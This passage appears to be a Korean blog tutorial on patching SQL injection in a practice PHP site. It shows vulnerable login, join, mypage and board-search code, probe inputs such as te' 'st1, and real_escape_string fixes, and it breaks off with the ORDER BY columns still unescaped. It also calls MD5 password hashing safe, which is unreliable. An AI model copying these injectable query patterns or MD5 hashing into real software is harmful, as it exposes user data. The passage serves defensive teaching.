&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;586&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uDluz/btsLx1lkP3h/DWh6BNc7Ooo6ajUmUhkib0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uDluz/btsLx1lkP3h/DWh6BNc7Ooo6ajUmUhkib0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uDluz/btsLx1lkP3h/DWh6BNc7Ooo6ajUmUhkib0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuDluz%2FbtsLx1lkP3h%2FDWh6BNc7Ooo6ajUmUhkib0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;944&quot; height=&quot;586&quot; data-origin-width=&quot;944&quot; data-origin-height=&quot;586&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시큐어 코딩이 적용된 후 싱글쿼터 ' 가 더 이상 기능을 하지 못하고 단순 문자열로 인식되므로 admin 계정에 대한 무단 로그인이 실패하게 된다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;938&quot; data-origin-height=&quot;242&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bwVcET/btsLytPnK7p/9uUNCLls4KnuuKaZHc20u1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bwVcET/btsLytPnK7p/9uUNCLls4KnuuKaZHc20u1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bwVcET/btsLytPnK7p/9uUNCLls4KnuuKaZHc20u1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbwVcET%2FbtsLytPnK7p%2F9uUNCLls4KnuuKaZHc20u1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;938&quot; height=&quot;242&quot; data-origin-width=&quot;938&quot; data-origin-height=&quot;242&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;싱글쿼터가 SQL 구문으로 삽입이 불가하므로 login.php 에 큐어 코딩이 완료되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL 에서 문자형일때는 \' 로 이스케이프 처리를 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MSSQL, ORACLE 에서 문자형일때는 '' 더블쿼터로 이스케이프 처리를 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL &amp;rarr; \'&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MSSQL, ORACLE &amp;rarr; ''&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;join 페이지도 취약하므로 시큐어코딩을 적용해본다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;942&quot; data-origin-height=&quot;901&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/kJtMS/btsLwrS6EeK/wHAQ2vIINnjU3ZClwDOFMK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/kJtMS/btsLwrS6EeK/wHAQ2vIINnjU3ZClwDOFMK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/kJtMS/btsLwrS6EeK/wHAQ2vIINnjU3ZClwDOFMK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FkJtMS%2FbtsLwrS6EeK%2FwHAQ2vIINnjU3ZClwDOFMK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;942&quot; height=&quot;901&quot; data-origin-width=&quot;942&quot; data-origin-height=&quot;901&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; join.php 의 Action 페이지 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1735139686854&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
  $db_conn = mysql_conn();

  $id = $_POST[&quot;id&quot;];
  $password1 = $_POST[&quot;password1&quot;];
  $password2 = $_POST[&quot;password2&quot;];
  $name = $_POST[&quot;name&quot;];
  $email = $_POST[&quot;email&quot;];
  $company = $_POST[&quot;company&quot;];

  if(!empty($id) &amp;amp;&amp;amp; !empty($password1) &amp;amp;&amp;amp; !empty($password2) &amp;amp;&amp;amp; !empty($name) &amp;amp;&amp;amp; !empty($email)) {
    if($password1 != $password2) {
			echo &quot;&amp;lt;script&amp;gt;alert('패스워드가 일치하지 않습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
    }

    $password = md5($password1);

    $query = &quot;insert into members(id, password, name, email, company) values('{$id}', '{$password}', '{$name}', '{$email}', '{$company}')&quot;;
    $result = $db_conn-&amp;gt;query($query);

    echo &quot;&amp;lt;script&amp;gt;alert('회원가입이 완료되었습니다.');location.href='index.php?page=login';&amp;lt;/script&amp;gt;&quot;;
    exit();
  }
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$id, $name, $email, $company 변수가 아무런 검증 로직이 없는 것으로 보아 모두 취약하다는 것을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$password는 MD5 해시함수가 적용되어 있어 안전하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;real_escape_string 을 각 변수에 적용해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;$db_conn &amp;rarr; DB 객체 생성&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;real_escape_string &amp;rarr; 문자열 이스케이프 처리&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;$id = $db_conn-&amp;gt;real_escape_string($id);&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;$name = $db_conn-&amp;gt;real_escape_string($name);&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;$email = $db_conn-&amp;gt;real_escape_string($email);&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;$company = $db_conn-&amp;gt;real_escape_string($company);&amp;nbsp; &amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;lt; join.php 의 Action 페이지 - 시큐어코딩 적용 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1735139947071&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
  $db_conn = mysql_conn();

  $id = $_POST[&quot;id&quot;];
  $password1 = $_POST[&quot;password1&quot;];
  $password2 = $_POST[&quot;password2&quot;];
  $name = $_POST[&quot;name&quot;];
  $email = $_POST[&quot;email&quot;];
  $company = $_POST[&quot;company&quot;];

  if(!empty($id) &amp;amp;&amp;amp; !empty($password1) &amp;amp;&amp;amp; !empty($password2) &amp;amp;&amp;amp; !empty($name) &amp;amp;&amp;amp; !empty($email)) {
    if($password1 != $password2) {
			echo &quot;&amp;lt;script&amp;gt;alert('패스워드가 일치하지 않습니다.');history.back(-1);&amp;lt;/script&amp;gt;&quot;;
			exit();
    }

    $id = $db_conn-&amp;gt;real_escape_string($id);
    $name = $db_conn-&amp;gt;real_escape_string($name); 
    $email = $db_conn-&amp;gt;real_escape_string($email); 
    $company = $db_conn-&amp;gt;real_escape_string($company);       
    $password = md5($password1);

    $query = &quot;insert into members(id, password, name, email, company) values('{$id}', '{$password}', '{$name}', '{$email}', '{$company}')&quot;;
    $result = $db_conn-&amp;gt;query($query);

    echo &quot;&amp;lt;script&amp;gt;alert('회원가입이 완료되었습니다.');location.href='index.php?page=login';&amp;lt;/script&amp;gt;&quot;;
    exit();
  }
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시큐어 코딩 적용 후 join 페이지에서 회원가입을 시도해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정상적으로 회원가입이 되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;280&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/95Zpb/btsLwHVJDft/yuGgqrOwgaucwJckKZ2Cj1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/95Zpb/btsLwHVJDft/yuGgqrOwgaucwJckKZ2Cj1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/95Zpb/btsLwHVJDft/yuGgqrOwgaucwJckKZ2Cj1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F95Zpb%2FbtsLwHVJDft%2FyuGgqrOwgaucwJckKZ2Cj1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;940&quot; height=&quot;280&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;280&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 페이지와 회원가입(join) 페이지는 SQL Injection에 안전한 시큐어 코딩 적용이 완료되었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;mypage 도 시큐어 코딩 적용을 해야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;id 부분에 te' 'st1 를 입력하니 그대로 test1 사용자의 mypage가 확인된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MySQL 에서 공백은 연결연산자로 서버에서 DB로 아래와 같은 SQL 구문 요청을 할 것을 예상된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from mypage where id='&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;te' 'st1&lt;/b&gt;&lt;/span&gt;'&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;941&quot; data-origin-height=&quot;781&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/T58mz/btsLw1GtPWi/6deeFNsGNKcaXdBc6rHkL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/T58mz/btsLw1GtPWi/6deeFNsGNKcaXdBc6rHkL1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/T58mz/btsLw1GtPWi/6deeFNsGNKcaXdBc6rHkL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FT58mz%2FbtsLw1GtPWi%2F6deeFNsGNKcaXdBc6rHkL1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;941&quot; height=&quot;781&quot; data-origin-width=&quot;941&quot; data-origin-height=&quot;781&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; mypage.php 의 Action 페이지 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1735140481246&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
	include_once(&quot;./common.php&quot;);

	$db_conn = mysql_conn();
	$id = $_GET[&quot;id&quot;];
	$gubun = $_POST[&quot;gubun&quot;];

	if($gubun == &quot;action&quot;) {
		$name = $db_conn-&amp;gt;real_escape_string($_POST[&quot;name&quot;]);
		$email = $db_conn-&amp;gt;real_escape_string($_POST[&quot;email&quot;]);
		$company = $db_conn-&amp;gt;real_escape_string($_POST[&quot;company&quot;]);
		$password = $_POST[&quot;password&quot;];
		if(!empty($password)) {
			$password = md5($password);
			$query = &quot;update members set name='{$name}', email='{$email}', company='{$company}', password='{$password}' where id='{$id}'&quot;;
			$result = $db_conn-&amp;gt;query($query);
		} else {
			$query = &quot;update members set name='{$name}', email='{$email}', company='{$company}' where id='{$id}'&quot;;
			$result = $db_conn-&amp;gt;query($query);
		}
		echo &quot;&amp;lt;script&amp;gt;alert('회원정보 수정완료');&amp;lt;/script&amp;gt;&quot;;
	}

	$query = &quot;select * from members where id='{$id}'&quot;;

	$result = $db_conn-&amp;gt;query($query);
	$num = $result-&amp;gt;num_rows;
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$id 변수에 real_escape_string 을 추가해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; mypage.php 의 Action 페이지 - 시큐어코딩 적용 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1735140790718&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
	include_once(&quot;./common.php&quot;);

	$db_conn = mysql_conn();
	$id = $db_conn-&amp;gt;real_escape_string($_GET[&quot;id&quot;]);
	$gubun = $_POST[&quot;gubun&quot;];

	if($gubun == &quot;action&quot;) {
		$name = $db_conn-&amp;gt;real_escape_string($_POST[&quot;name&quot;]);
		$email = $db_conn-&amp;gt;real_escape_string($_POST[&quot;email&quot;]);
		$company = $db_conn-&amp;gt;real_escape_string($_POST[&quot;company&quot;]);
		$password = $_POST[&quot;password&quot;];
		if(!empty($password)) {
			$password = md5($password);
			$query = &quot;update members set name='{$name}', email='{$email}', company='{$company}', password='{$password}' where id='{$id}'&quot;;
			$result = $db_conn-&amp;gt;query($query);
		} else {
			$query = &quot;update members set name='{$name}', email='{$email}', company='{$company}' where id='{$id}'&quot;;
			$result = $db_conn-&amp;gt;query($query);
		}
		echo &quot;&amp;lt;script&amp;gt;alert('회원정보 수정완료');&amp;lt;/script&amp;gt;&quot;;
	}

	$query = &quot;select * from members where id='{$id}'&quot;;

	$result = $db_conn-&amp;gt;query($query);
	$num = $result-&amp;gt;num_rows;
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;id에 te' 'st1 를 입력하니 이전과는 다르게 존재하지 않는 사용자로 확인된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;싱글쿼터가 이스케이프 처리되어 순수 문자열로 인식되었기 때문에 te' 'st1 사용자를 찾게되는 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;te' 'st1 사용자는 존재하지 않으므로 아래와 같이 결과를 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;244&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/03rHQ/btsLwFcuW5F/hka3mdGKakbuk3v733vRD1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/03rHQ/btsLwFcuW5F/hka3mdGKakbuk3v733vRD1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/03rHQ/btsLwFcuW5F/hka3mdGKakbuk3v733vRD1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F03rHQ%2FbtsLwFcuW5F%2Fhka3mdGKakbuk3v733vRD1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;940&quot; height=&quot;244&quot; data-origin-width=&quot;940&quot; data-origin-height=&quot;244&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;게시판 검색 기능도 시큐어 코딩을 적용해야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;test 게시글이 작성된 상태에서 te' 'st를 검색하면 test 게시글이 검색된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 싱글쿼터가 SQL 구문으로 인식되어 검색됨, SQL Injection 취약점이 존재함&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;te'a'st를 검색하면 에러가 발생하여 아무 게시글도 검색되지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서버에서 DB로 SQL 질의는 아래와 같이 검색하는 것으로 추정된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from board where title like '%&lt;span style=&quot;background-color: #f6e199;&quot;&gt;&lt;b&gt;te' 'st&lt;/b&gt;&lt;/span&gt;%';&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;390&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/T8ISV/btsLw2TjvBH/IyS8bbefg3NSF6ZjUFTPz1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/T8ISV/btsLw2TjvBH/IyS8bbefg3NSF6ZjUFTPz1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/T8ISV/btsLw2TjvBH/IyS8bbefg3NSF6ZjUFTPz1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FT8ISV%2FbtsLw2TjvBH%2FIyS8bbefg3NSF6ZjUFTPz1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;945&quot; height=&quot;390&quot; data-origin-width=&quot;945&quot; data-origin-height=&quot;390&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;953&quot; data-origin-height=&quot;395&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dHirjj/btsLyTHwsuB/V21vwYpJsxRs7EswvfgRJ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dHirjj/btsLyTHwsuB/V21vwYpJsxRs7EswvfgRJ1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dHirjj/btsLyTHwsuB/V21vwYpJsxRs7EswvfgRJ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdHirjj%2FbtsLyTHwsuB%2FV21vwYpJsxRs7EswvfgRJ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;953&quot; height=&quot;395&quot; data-origin-width=&quot;953&quot; data-origin-height=&quot;395&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제 MySQL에서 해당 게시글을 찾을 때 아래와 같이 검색된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from insecure_board where title like '%te' 'st'%;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from insecure_board where title like '%te'a'st%';&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1398&quot; data-origin-height=&quot;209&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/S79kH/btsLAdL27ah/atSR0wyKjxsGnmm3k4QxRk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/S79kH/btsLAdL27ah/atSR0wyKjxsGnmm3k4QxRk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/S79kH/btsLAdL27ah/atSR0wyKjxsGnmm3k4QxRk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FS79kH%2FbtsLAdL27ah%2FatSR0wyKjxsGnmm3k4QxRk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1398&quot; height=&quot;209&quot; data-origin-width=&quot;1398&quot; data-origin-height=&quot;209&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시큐어 코딩 적용을 위해 list.php 파일을 연다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; list.php 의 Action 페이지 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1735192258426&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
  @include_once(&quot;./common.php&quot;);
  
  $db_conn = mysql_conn();
  $page = $_SERVER['REQUEST_URI'];

  # Search Logic
  $search_type = $_POST[&quot;search_type&quot;];
  $keyword = $_POST[&quot;keyword&quot;];

  if(empty($search_type) &amp;amp;&amp;amp; empty($keyword)) {
    $query = &quot;select * from {$tb_name}&quot;;
  } else {
    if($search_type == &quot;all&quot;) {
      $query = &quot;select * from {$tb_name} where title like '%{$keyword}%' or writer like '%{$keyword}%' or content like '%{$keyword}%'&quot;;
    } else {
      $query = &quot;select * from {$tb_name} where {$search_type} like '%{$keyword}%'&quot;;
    }
  }

  # Sort Logic
  $sort = $_GET[&quot;sort&quot;];
  $sort_column = $_GET[&quot;sort_column&quot;];

  if(empty($sort_column) &amp;amp;&amp;amp; empty($sort)) {
    $query .= &quot; order by idx desc&quot;;
  } else {
    $query .= &quot; order by {$sort_column} {$sort}&quot;;
  }

  $result = $db_conn-&amp;gt;query($query);
  $num = $result-&amp;gt;num_rows;
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL Injection 실습 할때는 keyword 부분만 실습을 했었고, search_type 과 sort_column 부분은 실습을 진행하지 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 다른 부분들도 SQL Injection 취약점이 존재하므로 시큐어 코딩 적용을 해야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;keyword 부분은 사용자 입력값을 문자 형태로 받기 때문에 이스케이프 처리를 하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; real_escape_string&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;lt; list.php 의 Action 페이지 - $Keyword 이스케이프 처리 &amp;gt;&lt;/p&gt;
&lt;pre id=&quot;code_1735192647218&quot; class=&quot;php&quot; data-ke-language=&quot;php&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?
  @include_once(&quot;./common.php&quot;);
  
  $db_conn = mysql_conn();
  $page = $_SERVER['REQUEST_URI'];

  # Search Logic
  $search_type = $_POST[&quot;search_type&quot;];
